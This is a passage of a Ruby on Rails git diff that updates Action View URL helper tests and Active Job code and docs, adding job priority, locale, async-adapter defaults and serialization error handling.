'Sweden' }], + to_form_params(countries: ['Denmark', 'Sweden']) + ) + end + + def test_to_form_params_with_namespace + assert_equal( + [{ name: 'country[name]', value: 'Denmark' }], + to_form_params({name: 'Denmark'}, 'country') + ) + end + def test_button_to_with_straight_url assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com") end @@ -58,7 +106,7 @@ class UrlHelperTest < ActiveSupport::TestCase def test_button_to_with_path assert_dom_equal( %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>}, - button_to("Hello", article_path("Hello".html_safe)) + button_to("Hello", article_path("Hello")) ) end @@ -86,7 +134,7 @@ class UrlHelperTest < ActiveSupport::TestCase end def test_button_to_with_html_safe_URL - assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2".html_safe) + assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", raw("http://www.example.com/q1=v1&q2=v2")) end def test_button_to_with_query_and_no_name @@ -169,8 +217,22 @@ class UrlHelperTest < ActiveSupport::TestCase def test_button_to_with_params assert_dom_equal( - %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo" value="bar" /><input type="hidden" name="baz" value="quux" /></form>}, - button_to("Hello", "http://www.example.com", params: {foo: :bar, baz: "quux"}) + %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="baz" value="quux" /><input type="hidden" name="foo" value="bar" /></form>}, + button_to("Hello", "http://www.example.com", params: { foo: :bar, baz: "quux" }) + ) + end + + def test_button_to_with_nested_hash_params + assert_dom_equal( + %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[bar]" value="baz" /></form>}, + button_to("Hello", "http://www.example.com", params: { foo: { bar: 'baz' } }) + ) + end + + def test_button_to_with_nested_array_params + assert_dom_equal( + %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[]" value="bar" /></form>}, + button_to("Hello", "http://www.example.com", params: { foo: ['bar'] }) ) end @@ -212,7 +274,7 @@ class UrlHelperTest < ActiveSupport::TestCase end def test_link_tag_with_img - link = link_to("<img src='/favicon.jpg' />".html_safe, "/") + link = link_to(raw("<img src='/favicon.jpg' />"), "/") expected = %{<a href="/"><img src='/favicon.jpg' /></a>} assert_dom_equal expected, link end @@ -338,7 +400,7 @@ class UrlHelperTest < ActiveSupport::TestCase def test_link_tag_with_html_safe_string assert_dom_equal( %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>}, - link_to("Gerd Müller", article_path("Gerd_Müller".html_safe)) + link_to("Gerd Müller", article_path("Gerd_Müller")) ) end @@ -349,7 +411,7 @@ class UrlHelperTest < ActiveSupport::TestCase def test_link_tag_does_not_escape_html_safe_content assert_dom_equal %{<a href="/">Malicious <script>content</script></a>}, - link_to("Malicious <script>content</script>".html_safe, "/") + link_to(raw("Malicious <script>content</script>"), "/") end def test_link_to_unless @@ -360,7 +422,7 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal "<strong>Showing</strong>", link_to_unless(true, "Showing", url_hash) { |name| - "<strong>#{name}</strong>".html_safe + raw "<strong>#{name}</strong>" } assert_equal "test", @@ -370,8 +432,8 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>", url_hash) assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>", url_hash) - assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>".html_safe, url_hash) - assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>".html_safe, url_hash) + assert_equal %{<b>Showing</b>}, link_to_unless(true, raw("<b>Showing</b>"), url_hash) + assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, raw("<b>Showing</b>"), url_hash) end def test_link_to_if @@ -379,6 +441,11 @@ class UrlHelperTest < ActiveSupport::TestCase assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash) end + def test_link_to_if_with_block + assert_equal "Fallback", link_to_if(false, "Showing", url_hash) { "Fallback" } + assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash) { "Fallback" } + end + def request_for_url(url, opts = {}) env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts) ActionDispatch::Request.new(env) @@ -479,6 +546,11 @@ class UrlHelperTest < ActiveSupport::TestCase link_to_unless_current("Listing", "http://www.example.com/") end + def test_link_to_unless_with_block + assert_dom_equal %{<a href="/">Showing</a>}, link_to_unless(false, "Showing", url_hash) { "Fallback" } + assert_equal "Fallback", link_to_unless(true, "Listing", url_hash) { "Fallback" } + end + def test_mail_to assert_dom_equal %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>}, mail_to("david@loudthinking.com") assert_dom_equal %{<a href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david@loudthinking.com", "David Heinemeier Hansson") @@ -490,6 +562,13 @@ class UrlHelperTest < ActiveSupport::TestCase mail_to("david@loudthinking.com", "David Heinemeier Hansson", class: "admin") end + def test_mail_to_with_special_characters + assert_dom_equal( + %{<a href="mailto:%23%21%24%25%26%27%2A%2B-%2F%3D%3F%5E_%60%7B%7D%7C%7E@example.org">#!$%&'*+-/=?^_`{}|~@example.org</a>}, + mail_to("#!$%&'*+-/=?^_`{}|~@example.org") + ) + end + def test_mail_with_options assert_dom_equal( %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&bcc=bccaddress%40example.com&body=This%20is%20the%20body%20of%20the%20message.&subject=This%20is%20an%20example%20email&reply-to=foo%40bar.com">My email</a>}, @@ -504,7 +583,21 @@ class UrlHelperTest < ActiveSupport::TestCase def test_mail_to_with_img assert_dom_equal %{<a href="mailto:feedback@example.com"><img src="/feedback.png" /></a>}, - mail_to('feedback@example.com', '<img src="/feedback.png" />'.html_safe) + mail_to('feedback@example.com', raw('<img src="/feedback.png" />')) + end + + def test_mail_to_with_html_safe_string + assert_dom_equal( + %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>}, + mail_to(raw("david@loudthinking.com")) + ) + end + + def test_mail_to_with_nil + assert_dom_equal( + %{<a href="mailto:"></a>}, + mail_to(nil) + ) end def test_mail_to_returns_html_safe_string @@ -531,7 +624,7 @@ class UrlHelperTest < ActiveSupport::TestCase self.request_forgery end - def form_authenticity_token + def form_authenticity_token(*args) "secret" end @@ -562,7 +655,9 @@ class UrlHelperControllerTest < ActionController::TestCase to: 'url_helper_controller_test/url_helper#show_named_route', as: :show_named_route - get "/:controller(/:action(/:id))" + ActiveSupport::Deprecation.silence do + get "/:controller(/:action(/:id))" + end get 'url_helper_controller_test/url_helper/normalize_recall_params', to: UrlHelperController.action(:normalize_recall), @@ -585,10 +680,6 @@ class UrlHelperControllerTest < ActionController::TestCase render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>" end - def show_overridden_url_for - render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>" - end - def show_named_route render inline: "<%= show_named_route_#{params[:kind]} %>" end @@ -622,11 +713,6 @@ class UrlHelperControllerTest < ActionController::TestCase assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body end - def test_overridden_url_for_shows_only_path - get :show_overridden_url_for - assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body - end - def test_named_route_url_shows_host_and_path get :show_named_route, params: { kind: 'url' } assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route', @@ -769,6 +855,13 @@ class SessionsController < ActionController::Base @session = Session.new(params[:id]) render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>" end + + def edit + @workshop = Workshop.new(params[:workshop_id]) + @session = Session.new(params[:id]) + @url = [@workshop, @session, format: params[:format]] + render inline: "<%= url_for(@url) %>\n<%= link_to('Session', @url) %>" + end end class PolymorphicControllerTest < ActionController::TestCase @@ -799,4 +892,11 @@ class PolymorphicControllerTest < ActionController::TestCase get :show, params: { workshop_id: 1, id: 1 } assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body end + + def test_existing_nested_resource_with_params + @controller = SessionsController.new + + get :edit, params: { workshop_id: 1, id: 1, format: "json" } + assert_equal %{/workshops/1/sessions/1.json\n<a href="/workshops/1/sessions/1.json">Session</a>}, @response.body + end end diff --git a/activejob/CHANGELOG.md b/activejob/CHANGELOG.md index d4e19274fa..5e72c67aea 100644 --- a/activejob/CHANGELOG.md +++ b/activejob/CHANGELOG.md @@ -1,80 +1,2 @@ -* Add an `:only` option to `perform_enqueued_jobs` to filter jobs based on - type. - This allows specific jobs to be tested, while preventing others from - being performed unnecessarily. - - Example: - - def test_hello_job - assert_performed_jobs 1, only: HelloJob do - HelloJob.perform_later('jeremy') - LoggingJob.perform_later - end - end - - An array may also be specified, to support testing multiple jobs. - - Example: - - def test_hello_and_logging_jobs - assert_nothing_raised do - assert_performed_jobs 2, only: [HelloJob, LoggingJob] do - HelloJob.perform_later('jeremy') - LoggingJob.perform_later('stewie') - RescueJob.perform_later('david') - end - end - end - - Fixes #18802. - - *Michael Ryan* - -* Allow keyword arguments to be used with Active Job. - - Fixes #18741. - - *Sean Griffin* - -* Add `:only` option to `assert_enqueued_jobs`, to check the number of times - a specific kind of job is enqueued. - - Example: - - def test_logging_job - assert_enqueued_jobs 1, only: LoggingJob do - LoggingJob.perform_later - HelloJob.perform_later('jeremy') - end - end - - *George Claghorn* - -* `ActiveJob::Base.deserialize` delegates to the job class. - - Since `ActiveJob::Base#deserialize` can be overridden by subclasses (like - `ActiveJob::Base#serialize`) this allows jobs to attach arbitrary metadata - when they get serialized and read it back when they get performed. - - Example: - - class DeliverWebhookJob < ActiveJob::Base - def serialize - super.merge('attempt_number' => (@attempt_number || 0) + 1) - end - - def deserialize(job_data) - super - @attempt_number = job_data['attempt_number'] - end - - rescue_from(TimeoutError) do |exception| - raise exception if @attempt_number > 5 - retry_job(wait: 10) - end - end - - *Isaac Seymour* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activejob/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md) for previous changes. diff --git a/activejob/MIT-LICENSE b/activejob/MIT-LICENSE index 0cef8cdda0..a3ffb46b3f 100644 --- a/activejob/MIT-LICENSE +++ b/activejob/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2014-2015 David Heinemeier Hansson +Copyright (c) 2014-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/activejob/README.md b/activejob/README.md index 5170ebee6e..8becac7753 100644 --- a/activejob/README.md +++ b/activejob/README.md @@ -20,12 +20,7 @@ switch between them without having to rewrite your jobs. ## Usage -Set the queue adapter for Active Job: - -``` ruby -ActiveJob::Base.queue_adapter = :inline # default queue adapter -``` -Note: To learn how to use your preferred queueing backend see its adapter +To learn how to use your preferred queueing backend see its adapter documentation at [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). @@ -44,7 +39,7 @@ end Enqueue a job like so: ```ruby -MyJob.perform_later record # Enqueue a job to be performed as soon the queueing system is free. +MyJob.perform_later record # Enqueue a job to be performed as soon as the queueing system is free. ``` ```ruby @@ -102,7 +97,7 @@ see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails. The latest version of Active Job can be installed with RubyGems: ``` - % [sudo] gem install activejob + $ gem install activejob ``` Source code can be downloaded as part of the Rails project on GitHub diff --git a/activejob/Rakefile b/activejob/Rakefile index 6c7e6aae6e..f32c4d2fb2 100644 --- a/activejob/Rakefile +++ b/activejob/Rakefile @@ -1,12 +1,15 @@ require 'rake/testtask' -require 'rubygems/package_task' -ACTIVEJOB_ADAPTERS = %w(inline delayed_job qu que queue_classic resque sidekiq sneakers sucker_punch backburner test) +#TODO: add qu back to the list after it support Rails 5.1 +ACTIVEJOB_ADAPTERS = %w(async inline delayed_job que queue_classic resque sidekiq sneakers sucker_punch backburner test) ACTIVEJOB_ADAPTERS -= %w(queue_classic) if defined?(JRUBY_VERSION) task default: :test task test: 'test:default' +task :package +task "package:clean" + namespace :test do desc 'Run all adapter tests' task :default do @@ -35,7 +38,7 @@ namespace :test do t.libs << 'test' t.test_files = FileList['test/cases/**/*_test.rb'] t.verbose = true - t.warning = true + t.warning = false t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION) end @@ -54,7 +57,7 @@ namespace :test do t.libs << 'test' t.test_files = FileList['test/integration/**/*_test.rb'] t.verbose = true - t.warning = true + t.warning = false t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION) end end @@ -74,17 +77,3 @@ def run_without_aborting(tasks) abort "Errors running #{errors.join(', ')}" if errors.any? end - - -spec = eval(File.read('activejob.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc 'Release to rubygems' -task release: :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/activejob/activejob.gemspec b/activejob/activejob.gemspec index ef8db3bcd3..e97bb40abf 100644 --- a/activejob/activejob.gemspec +++ b/activejob/activejob.gemspec @@ -7,17 +7,17 @@ Gem::Specification.new do |s| s.summary = 'Job framework with pluggable queues.' s.description = 'Declare job classes that can be run by a variety of queueing backends.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.md', 'lib/**/*'] s.require_path = 'lib' s.add_dependency 'activesupport', version - s.add_dependency 'globalid', '>= 0.3.0' + s.add_dependency 'globalid', '>= 0.3.6' end diff --git a/activejob/lib/active_job.rb b/activejob/lib/active_job.rb index 3d4f63b261..4b9065cf50 100644 --- a/activejob/lib/active_job.rb +++ b/activejob/lib/active_job.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2014-2015 David Heinemeier Hansson +# Copyright (c) 2014-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/activejob/lib/active_job/arguments.rb b/activejob/lib/active_job/arguments.rb index 622c37098e..33bd5b4eb3 100644 --- a/activejob/lib/active_job/arguments.rb +++ b/activejob/lib/active_job/arguments.rb @@ -3,28 +3,38 @@ require 'active_support/core_ext/hash' module ActiveJob # Raised when an exception is raised during job arguments deserialization. # - # Wraps the original exception raised as +original_exception+. + # Wraps the original exception raised as +cause+. class DeserializationError < StandardError - attr_reader :original_exception + def initialize(e = nil) #:nodoc: + if e + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) + end + + super("Error while trying to deserialize arguments: #{$!.message}") + set_backtrace $!.backtrace + end - def initialize(e) #:nodoc: - super("Error while trying to deserialize arguments: #{e.message}") - @original_exception = e - set_backtrace e.backtrace + # The original exception that was raised during deserialization of job + # arguments. + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end end - # Raised when an unsupported argument type is being set as job argument. We + # Raised when an unsupported argument type is set as a job argument. We # currently support NilClass, Fixnum, Float, String, TrueClass, FalseClass, - # Bignum and object that can be represented as GlobalIDs (ex: Active Record). - # Also raised if you set the key for a Hash something else than a string or - # a symbol. - class SerializationError < ArgumentError - end + # Bignum, BigDecimal, and objects that can be represented as GlobalIDs (ex: Active Record). + # Raised if you set the key for a Hash something else than a string or + # a symbol. Also raised when trying to serialize an object which can't be + # identified with a Global ID - such as an unpersisted Active Record model. + class SerializationError < ArgumentError; end module Arguments extend self - TYPE_WHITELIST = [ NilClass, Fixnum, Float, String, TrueClass, FalseClass, Bignum ] + # :nodoc: + TYPE_WHITELIST = [ NilClass, Fixnum, Float, String, TrueClass, FalseClass, Bignum, BigDecimal ] # Serializes a set of arguments. Whitelisted types are returned # as-is. Arrays/Hashes are serialized element by element. @@ -38,13 +48,16 @@ module ActiveJob # All other types are deserialized using GlobalID. def deserialize(arguments) arguments.map { |argument| deserialize_argument(argument) } - rescue => e - raise DeserializationError.new(e) + rescue + raise DeserializationError end private + # :nodoc: GLOBALID_KEY = '_aj_globalid'.freeze + # :nodoc: SYMBOL_KEYS_KEY = '_aj_symbol_keys'.freeze + # :nodoc: WITH_INDIFFERENT_ACCESS_KEY = '_aj_hash_with_indifferent_access'.freeze private_constant :GLOBALID_KEY, :SYMBOL_KEYS_KEY, :WITH_INDIFFERENT_ACCESS_KEY @@ -53,7 +66,7 @@ module ActiveJob when *TYPE_WHITELIST argument when GlobalID::Identification - { GLOBALID_KEY => argument.to_global_id.to_s } + convert_to_global_id_hash(argument) when Array argument.map { |arg| serialize_argument(arg) } when ActiveSupport::HashWithIndifferentAccess @@ -113,6 +126,7 @@ module ActiveJob result end + # :nodoc: RESERVED_KEYS = [ GLOBALID_KEY, GLOBALID_KEY.to_sym, SYMBOL_KEYS_KEY, SYMBOL_KEYS_KEY.to_sym, @@ -140,5 +154,12 @@ module ActiveJob end end end + + def convert_to_global_id_hash(argument) + { GLOBALID_KEY => argument.to_global_id.to_s } + rescue URI::GID::MissingModelIdError + raise SerializationError, "Unable to serialize #{argument.class} " \ + "without an id. (Maybe you forgot to call save?)" + end end end diff --git a/activejob/lib/active_job/base.rb b/activejob/lib/active_job/base.rb index fd49b3fda5..ff5c69ddc6 100644 --- a/activejob/lib/active_job/base.rb +++ b/activejob/lib/active_job/base.rb @@ -1,10 +1,12 @@ require 'active_job/core' require 'active_job/queue_adapter' require 'active_job/queue_name' +require 'active_job/queue_priority' require 'active_job/enqueuing' require 'active_job/execution' require 'active_job/callbacks' require 'active_job/logging' +require 'active_job/translation' module ActiveJob #:nodoc: # = Active Job @@ -34,7 +36,7 @@ module ActiveJob #:nodoc: # Records that are passed in are serialized/deserialized using Global # ID. More information can be found in Arguments. # - # To enqueue a job to be performed as soon the queueing system is free: + # To enqueue a job to be performed as soon as the queueing system is free: # # ProcessPhotoJob.perform_later(photo) # @@ -56,10 +58,12 @@ module ActiveJob #:nodoc: include Core include QueueAdapter include QueueName + include QueuePriority include Enqueuing include Execution include Callbacks include Logging + include Translation ActiveSupport.run_load_hooks(:active_job, self) end diff --git a/activejob/lib/active_job/callbacks.rb b/activejob/lib/active_job/callbacks.rb index 2b6149e84e..a6591c6a05 100644 --- a/activejob/lib/active_job/callbacks.rb +++ b/activejob/lib/active_job/callbacks.rb @@ -17,6 +17,11 @@ module ActiveJob extend ActiveSupport::Concern include ActiveSupport::Callbacks + class << self + include ActiveSupport::Callbacks + define_callbacks :execute + end + included do define_callbacks :perform define_callbacks :enqueue diff --git a/activejob/lib/active_job/core.rb b/activejob/lib/active_job/core.rb index ddd7d1361c..f7f882c998 100644 --- a/activejob/lib/active_job/core.rb +++ b/activejob/lib/active_job/core.rb @@ -1,4 +1,6 @@ module ActiveJob + # Provides general behavior that will be included into every Active Job + # object that inherits from ActiveJob::Base. module Core extend ActiveSupport::Concern @@ -15,6 +17,15 @@ module ActiveJob # Queue in which the job will reside. attr_writer :queue_name + + # Priority that the job will have (lower is more priority). + attr_writer :priority + + # ID optionally provided by adapter + attr_accessor :provider_job_id + + # I18n.locale to be used during the job. + attr_accessor :locale end # These methods will be included into any Active Job object, adding @@ -35,6 +46,7 @@ module ActiveJob # * <tt>:wait</tt> - Enqueues the job with the specified delay # * <tt>:wait_until</tt> - Enqueues the job at the time specified # * <tt>:queue</tt> - Enqueues the job on the specified queue + # * <tt>:priority</tt> - Enqueues the job with the specified priority # # ==== Examples # @@ -43,6 +55,7 @@ module ActiveJob # VideoJob.set(wait_until: Time.now.tomorrow).perform_later(Video.last) # VideoJob.set(queue: :some_queue, wait: 5.minutes).perform_later(Video.last) # VideoJob.set(queue: :some_queue, wait_until: Time.now.tomorrow).perform_later(Video.last) + # VideoJob.set(queue: :some_queue, wait: 5.minutes, priority: 10).perform_later(Video.last) def set(options={}) ConfiguredJob.new(self, options) end @@ -54,6 +67,7 @@ module ActiveJob @arguments = arguments @job_id = SecureRandom.uuid @queue_name = self.class.queue_name + @priority = self.class.priority end # Returns a hash with the job data that can safely be passed to the @@ -63,7 +77,9 @@ module ActiveJob 'job_class' => self.class.name, 'job_id' => job_id, 'queue_name' => queue_name, - 'arguments' => serialize_arguments(arguments) + 'priority' => priority, + 'arguments' => serialize_arguments(arguments), + 'locale' => I18n.locale.to_s } end @@ -90,7 +106,9 @@ module ActiveJob def deserialize(job_data) self.job_id = job_data['job_id'] self.queue_name = job_data['queue_name'] + self.priority = job_data['priority'] self.serialized_arguments = job_data['arguments'] + self.locale = job_data['locale'] || I18n.locale.to_s end private diff --git a/activejob/lib/active_job/enqueuing.rb b/activejob/lib/active_job/enqueuing.rb index 430c17e1bf..9dc3c0fa57 100644 --- a/activejob/lib/active_job/enqueuing.rb +++ b/activejob/lib/active_job/enqueuing.rb @@ -1,6 +1,7 @@ require 'active_job/arguments' module ActiveJob + # Provides behavior for enqueuing and retrying jobs. module Enqueuing extend ActiveSupport::Concern @@ -31,10 +32,11 @@ module ActiveJob # * <tt>:wait</tt> - Enqueues the job with the specified delay # * <tt>:wait_until</tt> - Enqueues the job at the time specified # * <tt>:queue</tt> - Enqueues the job on the specified queue + # * <tt>:priority</tt> - Enqueues the job with the specified priority # # ==== Examples # - # class SiteScrapperJob < ActiveJob::Base + # class SiteScraperJob < ActiveJob::Base # rescue_from(ErrorLoadingSite) do # retry_job queue: :low_priority # end @@ -53,6 +55,7 @@ module ActiveJob # * <tt>:wait</tt> - Enqueues the job with the specified delay # * <tt>:wait_until</tt> - Enqueues the job at the time specified # * <tt>:queue</tt> - Enqueues the job on the specified queue + # * <tt>:priority</tt> - Enqueues the job with the specified priority # # ==== Examples # @@ -60,10 +63,12 @@ module ActiveJob # my_job_instance.enqueue wait: 5.minutes # my_job_instance.enqueue queue: :important # my_job_instance.enqueue wait_until: Date.tomorrow.midnight + # my_job_instance.enqueue priority: 10 def enqueue(options={}) self.scheduled_at = options[:wait].seconds.from_now.to_f if options[:wait] self.scheduled_at = options[:wait_until].to_f if options[:wait_until] self.queue_name = self.class.queue_name_from_part(options[:queue]) if options[:queue] + self.priority = options[:priority].to_i if options[:priority] run_callbacks :enqueue do if self.scheduled_at self.class.queue_adapter.enqueue_at self, self.scheduled_at diff --git a/activejob/lib/active_job/execution.rb b/activejob/lib/active_job/execution.rb index 79d232da4a..4e4acfc2c2 100644 --- a/activejob/lib/active_job/execution.rb +++ b/activejob/lib/active_job/execution.rb @@ -17,8 +17,10 @@ module ActiveJob end def execute(job_data) #:nodoc: - job = deserialize(job_data) - job.perform_now + ActiveJob::Callbacks.run_callbacks(:execute) do + job = deserialize(job_data) + job.perform_now + end end end @@ -32,7 +34,7 @@ module ActiveJob perform(*arguments) end rescue => exception - rescue_with_handler(exception) || raise(exception) + rescue_with_handler(exception) || raise end def perform(*) diff --git a/activejob/lib/active_job/gem_version.rb b/activejob/lib/active_job/gem_version.rb index 27a5de93f4..0d50c27938 100644 --- a/activejob/lib/active_job/gem_version.rb +++ b/activejob/lib/active_job/gem_version.rb @@ -6,7 +6,7 @@ module ActiveJob module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/activejob/lib/active_job/logging.rb b/activejob/lib/active_job/logging.rb index 54774db601..605057d1e8 100644 --- a/activejob/lib/active_job/logging.rb +++ b/activejob/lib/active_job/logging.rb @@ -1,3 +1,4 @@ +require 'active_support/core_ext/hash/transform_values' require 'active_support/core_ext/string/filters' require 'active_support/tagged_logging' require 'active_support/logger' @@ -25,7 +26,7 @@ module ActiveJob end end - before_enqueue do |job| + after_enqueue do |job| if job.scheduled_at ActiveSupport::Notifications.instrument "enqueue_at.active_job", adapter: job.class.queue_adapter, job: job @@ -87,12 +88,25 @@ module ActiveJob def args_info(job) if job.arguments.any? ' with arguments: ' + - job.arguments.map { |arg| arg.try(:to_global_id).try(:to_s) || arg.inspect }.join(', ') + job.arguments.map { |arg| format(arg).inspect }.join(', ') else '' end end + def format(arg) + case arg + when Hash + arg.transform_values { |value| format(value) } + when Array + arg.map { |value| format(value) } + when GlobalID::Identification + arg.to_global_id rescue arg + else + arg + end + end + def scheduled_at(event) Time.at(event.payload[:job].scheduled_at).utc end diff --git a/activejob/lib/active_job/queue_adapter.rb b/activejob/lib/active_job/queue_adapter.rb index 9c4519432d..72e4ebf935 100644 --- a/activejob/lib/active_job/queue_adapter.rb +++ b/activejob/lib/active_job/queue_adapter.rb @@ -4,23 +4,25 @@ require 'active_support/core_ext/string/inflections' module ActiveJob # The <tt>ActiveJob::QueueAdapter</tt> module is used to load the - # correct adapter. The default queue adapter is the :inline queue. + # correct adapter. The default queue adapter is the +:async+ queue. module QueueAdapter #:nodoc: extend ActiveSupport::Concern included do class_attribute :_queue_adapter, instance_accessor: false, instance_predicate: false - self.queue_adapter = :inline + self.queue_adapter = :async end # Includes the setter method for changing the active queue adapter. module ClassMethods + # Returns the backend queue provider. The default queue adapter + # is the +:async+ queue. See QueueAdapters for more information. def queue_adapter _queue_adapter end # Specify the backend queue provider. The default queue adapter - # is the :inline queue. See QueueAdapters for more + # is the +:async+ queue. See QueueAdapters for more # information. def queue_adapter=(name_or_adapter_or_class) self._queue_adapter = interpret_adapter(name_or_adapter_or_class) diff --git a/activejob/lib/active_job/queue_adapters.rb b/activejob/lib/active_job/queue_adapters.rb index b3d91dc562..71154d8785 100644 --- a/activejob/lib/active_job/queue_adapters.rb +++ b/activejob/lib/active_job/queue_adapters.rb @@ -12,31 +12,103 @@ module ActiveJob # * {Sidekiq}[http://sidekiq.org] # * {Sneakers}[https://github.com/jondot/sneakers] # * {Sucker Punch}[https://github.com/brandonhilkert/sucker_punch] + # * {Active Job Async Job}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/AsyncAdapter.html] + # * {Active Job Inline}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/InlineAdapter.html] # # === Backends Features # - # | | Async | Queues | Delayed | Priorities | Timeout | Retries | - # |-------------------|-------|--------|-----------|------------|---------|---------| - # | Backburner | Yes | Yes | Yes | Yes | Job | Global | - # | Delayed Job | Yes | Yes | Yes | Job | Global | Global | - # | Qu | Yes | Yes | No | No | No | Global | - # | Que | Yes | Yes | Yes | Job | No | Job | - # | queue_classic | Yes | Yes | No* | No | No | No | - # | Resque | Yes | Yes | Yes (Gem) | Queue | Global | Yes | - # | Sidekiq | Yes | Yes | Yes | Queue | No | Job | - # | Sneakers | Yes | Yes | No | Queue | Queue | No | - # | Sucker Punch | Yes | Yes | No | No | No | No | - # | Active Job Inline | No | Yes | N/A | N/A | N/A | N/A | - # | Active Job | Yes | Yes | Yes | No | No | No | + # | | Async | Queues | Delayed | Priorities | Timeout | Retries | + # |-------------------|-------|--------|------------|------------|---------|---------| + # | Backburner | Yes | Yes | Yes | Yes | Job | Global | + # | Delayed Job | Yes | Yes | Yes | Job | Global | Global | + # | Qu | Yes | Yes | No | No | No | Global | + # | Que | Yes | Yes | Yes | Job | No | Job | + # | queue_classic | Yes | Yes | Yes* | No | No | No | + # | Resque | Yes | Yes | Yes (Gem) | Queue | Global | Yes | + # | Sidekiq | Yes | Yes | Yes | Queue | No | Job | + # | Sneakers | Yes | Yes | No | Queue | Queue | No | + # | Sucker Punch | Yes | Yes | Yes | No | No | No | + # | Active Job Async | Yes | Yes | Yes | No | No | No | + # | Active Job Inline | No | Yes | N/A | N/A | N/A | N/A | + # + # ==== Async + # + # Yes: The Queue Adapter has the ability to run the job in a non-blocking manner. + # It either runs on a separate or forked process, or on a different thread. + # + # No: The job is run in the same process. + # + # ==== Queues + # + # Yes: Jobs may set which queue they are run in with queue_as or by using the set + # method. + # + # ==== Delayed + # + # Yes: The adapter will run the job in the future through perform_later. + # + # (Gem): An additional gem is required to use perform_later with this adapter. + # + # No: The adapter will run jobs at the next opportunity and cannot use perform_later. + # + # N/A: The adapter does not support queueing. # # NOTE: - # queue_classic does not support Job scheduling. However you can implement this - # yourself or you can use the queue_classic-later gem. See the documentation for - # ActiveJob::QueueAdapters::QueueClassicAdapter. + # queue_classic supports job scheduling since version 3.1. + # For older versions you can use the queue_classic-later gem. + # + # ==== Priorities + # + # The order in which jobs are processed can be configured differently depending + # on the adapter. + # + # Job: Any class inheriting from the adapter may set the priority on the job + # object relative to other jobs. + # + # Queue: The adapter can set the priority for job queues, when setting a queue + # with Active Job this will be respected. + # + # Yes: Allows the priority to be set on the job object, at the queue level or + # as default configuration option. + # + # No: Does not allow the priority of jobs to be configured. + # + # N/A: The adapter does not support queueing, and therefore sorting them. + # + # ==== Timeout + # + # When a job will stop after the allotted time. + # + # Job: The timeout can be set for each instance of the job class. + # + # Queue: The timeout is set for all jobs on the queue. + # + # Global: The adapter is configured that all jobs have a maximum run time. + # + # N/A: This adapter does not run in a separate process, and therefore timeout + # is unsupported. + # + # ==== Retries + # + # Job: The number of retries can be set per instance of the job class. + # + # Yes: The Number of retries can be configured globally, for each instance or + # on the queue. This adapter may also present failed instances of the job class + # that can be restarted. + # + # Global: The adapter has a global number of retries. + # + # N/A: The adapter does not run in a separate 